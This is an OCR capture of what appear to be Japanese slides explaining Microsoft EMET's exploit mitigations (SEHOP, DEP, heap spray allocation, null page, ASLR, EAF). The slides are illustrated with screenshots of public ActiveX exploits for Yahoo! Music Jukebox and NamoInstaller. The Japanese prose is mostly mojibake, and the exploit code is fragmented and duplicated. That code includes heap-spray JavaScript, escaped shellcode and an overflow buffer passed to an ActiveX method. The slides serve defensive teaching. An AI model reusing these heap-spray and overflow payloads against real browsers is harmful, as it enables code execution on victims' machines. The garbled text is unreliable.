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Structured Exception Handlerik?inal Handler 2B 2 & T, 1\ D7 A —/N—2J70O—%
Overwrite Protection (SEHOP) “PM4&rFHIsfa0IE (SEH) DFEDRESSSE = 42FD

Dynamic Data Execution TOEADAE)D—E%E “ETAAEE" &X—9F5HC
Prevention (DEP) ET, AFEYENISDTILOA—FAEFTENDZDEEC
Heap Spray Allocation WODDAE!) ZFTHE|Y Z3TSHZ & T Heapspray DINE

FREEN (BERZETITD)

xHeapspray: ASLR B ENBM T, Y TIa—FKOOAE—ZaRELGREYEZ<LD
E—JEEBEICEC ZET, AEYDEY LETHAFMICEILLTEH., REHNIC
O— FETOEEREZLIFS5FE

Nul |l Page Allocation AEYD Null R=THEFHENYHTHIET, A—H—
E—FIZHITS Null FESHBO) RT EE
*Z B h{HREE

Mandatory Address Space i}@s T—FEICRED2—HAA—FREINE7 FLRZEFH
Layout Randomization (ASLR) RARER K S I12T 7 LT B

*EMET TIRRIRTODEDa—ILICH LA T b U4 LT ASLR Z38HITES

Export Address Table EAT DA EZZHIBRT AT I)La— KA Windows
Filtering (EAF) APl 7 FLRZIRBET 5D OvYH
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kernel32.dl | ]

[ foo.dll
Srocess ) foo.dll |
address [ user32. di | e .
space | ( \
B ntdl 1. dl|
[ kernel32.dl | / \ )
;

user32.dl |

foo. dl |

[ ntdll.dl| kernel32.dl1
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Heapspray A

Instead, I shamelessly ripped a page from Skylined's book and borrowed
f/ (and cleaned up) the heap spraying technique. My heap-spray is a lot
// less precise, because the memory layout is a lot more variable. In

f/ my experience, it took a _HUGE_ block allocation to get the heap I

f/ wanted to jump to into a reliably-placed location. Hence the atrocity
// of the 16MB of noops below.

Victim Process

Yahoo! Music Jukebox 2.2 AddImage() ActiwveX BOF

character restrictions, this is a standard stack-based
the S5EH frame with a pointer to my HUGE heap
8f a bunch of 0x4l1 characters. An INC ECX i= a
he box takes the slide down the heap into the

hside from the
Discovered by Krystian KlosES 1

Written by exceed (code rippe
Tested on Windows XP SE
-3

<html> e
<object classid="clsid:5FE10RAFC
id="target"></0BJECT>

Tested on Windows XP 5P2 (fully patched) EKorean, IE&, NamoInstaller.dll version 3,0,0,1
——>

of those

«<5CRIPT language="JavaScript™>
/{ HeapS3pray - execute calcula
shellcode = unescape ("Iul3ebiIue

<html>
<object classid="clsid:AF465549-1D22-4140-A273-386FRA88TTEORA" id="target"></OBJECT>

24141") ;

<5CRIPT language="JavaScript">
f/ HeapSpray - execute calculator
shellcode = unescape ("3uUESFCEu0044%ul000%u458B3uiB3Cu057C¥ 01783 usBEF3ul84F3usFEE3u01209
bigblock = unescape ("$u%030%u3030™) ;
headersize = 20:
slackspace = headersize+shellcode.length
while (bigkblock.length<slackspace) bigblock+=bigblock:
fillklock = bigblock.substring (0, slackspace);
block = bigblock.substring (0, bigblock.length-slackspace);
while (block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array():
for (i=0;i<800:;i++) memory[i] = block + shellcode;

wvar buffer = unescape ("IW0A0ATUOR0OA™) ;
while (buffer.length< 2310) buffer+=unescape ("$u0AOAIuOADA™)

buffer += unescape ("wE0CCER0012™);
buffer += unescape ("ulR0ATuOROL"™) ;

bigblock = unescape ("¥u%090%u90
headersize = 20;
glackspace = headersize+shellco
while (bigblock.length<slackspa
riliblock = bigblock.substring(f </3cTipt>
</html>

f/ Vulnerability of method Install
target.Install (buffer);

# milwOrm.com [2008-02-03]
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EMET v2.0 Ao >no—Fk: #E3
http://www. microsoft. com/downloads/en/detai |ls. aspx?Fami
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EMET #2497 Web &+ X k
http://technet. microsoft. com/ja—jp/security/geg443928
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